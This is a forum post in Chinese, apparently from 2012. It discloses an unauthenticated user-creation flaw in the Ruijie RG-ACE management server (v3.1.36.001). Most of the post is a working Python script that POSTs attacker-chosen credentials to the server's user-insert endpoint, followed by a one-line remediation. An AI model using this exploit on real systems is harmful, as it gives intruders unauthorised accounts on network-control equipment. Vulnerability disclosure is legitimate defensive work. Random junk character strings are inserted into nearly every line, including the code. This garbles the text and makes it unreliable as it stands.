找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2093|回复: 0
打印 上一主题 下一主题

锐捷应用控制引擎管理服务器可以增加用户

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-10 10:16:32 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
锐捷应用控制引擎管理服务器(RG-ACE系列应用控制引擎管理服务器V3.1.36.001,官网的连接 http://www.ruijie.com.cn/service/down-search.aspx 显示是最新版)可以根据没有权限验证的接口直接增加用户,连接设备,查看设备信息和报表(权限相对于默认的admin比较低)7 V# y5 s/ _) n9 i0 X% H
, R) R# z% ]7 U2 t% q. t7 C2 S

$ `. t4 _8 @$ ]# m; Z6 R( I测试的具体版本是
# d1 S' `2 Z, Z/ b- x3 E7 ?产品名称: 锐捷应用控制引擎
, S* S  {8 G5 @) @. H. j版本号: 3.1.36.001 TC& v# P& f; H* l
编译时间: 201104291730
3 g4 _* ?) k( }* z * k# }4 X  [2 P/ n
/ y- `/ k" e  C) [' _! k
漏洞证明:' S* }  Z' W  G( H& H4 \2 ~6 t

4 u9 f0 n2 S3 ]
4 C8 H- g4 v# Q- v0 q, F
2 w( I' U0 w8 ~/ r5 p) t: G+ B5 `) U$ l* `9 K; p( ~2 ~) v

* Z8 O  Q& a1 f) u
( }1 [; D) b8 n3 _执行脚本$ ?8 ^5 e2 p1 x# `) k5 @# ]$ r
#! /usr/bin/env python" p0 J8 h% ^7 d
#coding=gbk7 Y) g* F6 \* E3 {5 w. W! s
#RG-ACE管理服务器 V3.1.36.001
! q1 Q6 L% i) [import urllib2, urllib,cookielib
# c8 y9 w* F5 furl=r'http://IP/mars/doInsertUserInfo.do' #IP改为装这个软件的IP
$ F( j7 t# q2 u5 dopener=urllib2.build_opener(urllib2.HTTPCookieProcessor(cookielib.CookieJar()))
% m7 m! B, Q6 o; B* t3 Hopener.addheaders = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)')]$ o/ m# e4 f  a, x4 c: O0 V
post=(("event","userManager.doInsertUserInfo"),
: V2 _* f/ _0 ^# {("useractionname","addButtonValue"),' i7 V. J/ b% `/ j* A, z! q
("useropermanager","userManager"),
1 Q" [2 y* \: x$ e9 u("userName","t"), #######账号自己加/ j' O' \9 w" m* b1 H$ Z
("pwd","aaaaaa"),######密码自己加& J9 y$ o- Q5 j; Q+ F* z" k, g* _7 E
("trueName","ad"),, ?& H% w  x! X* Z* T) a2 K1 ]
("email",""),
+ f* E6 K) a# z" g( b/ W: X("mobilePhone",""),
$ R8 V" X% K$ r. H; }# o("officePhone",""),  w5 Y4 x8 N+ g' n) z: P/ z
("addr",""),+ W' i5 f) h  D5 V% v
("submit","确定"))
" w% h: x4 Y- X- t* X3 xurllib2.install_opener(opener)8 J3 _& Z, g/ t1 p, j  f5 Q5 G
p=urllib2.urlopen(url, urllib.urlencode(post)).read()/ e0 F* B/ n2 m/ g
print "Done"
  V% @$ R6 C- |: }" o% j4 ]4 W( N3 Z! d  {
登录,连接设备
* B' ^& B2 C- j
' s" u6 @4 N" S/ A/ m* X( V/ M; y  q: n: Y8 D' h
4 Q: }3 ]. v  W, R5 v+ s6 E3 n

# h9 F4 M% K9 @4 @% O9 Z% K, ?: p
1 D: ?+ w& @" d$ j  G$ r默认的管理员admin权限更大点
3 E( o$ q- b" m( a' w, J5 E, ~" p/ F3 A1 T' ^, S% x) x/ \
, h: @7 [$ E' f, R% A' z  e- O
! M7 @, @7 [6 k! u
8 H' z4 u- e" s: E& O

* L) M$ b4 `0 {# r) `! [$ `修复方案:
9 A, q' D! L# A, _& N/ J8 B, \, g加强对接口的权限验证
' m7 q( S- K) b0 @. [
+ t$ Y5 a" d0 ?- ]! s# C- L
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表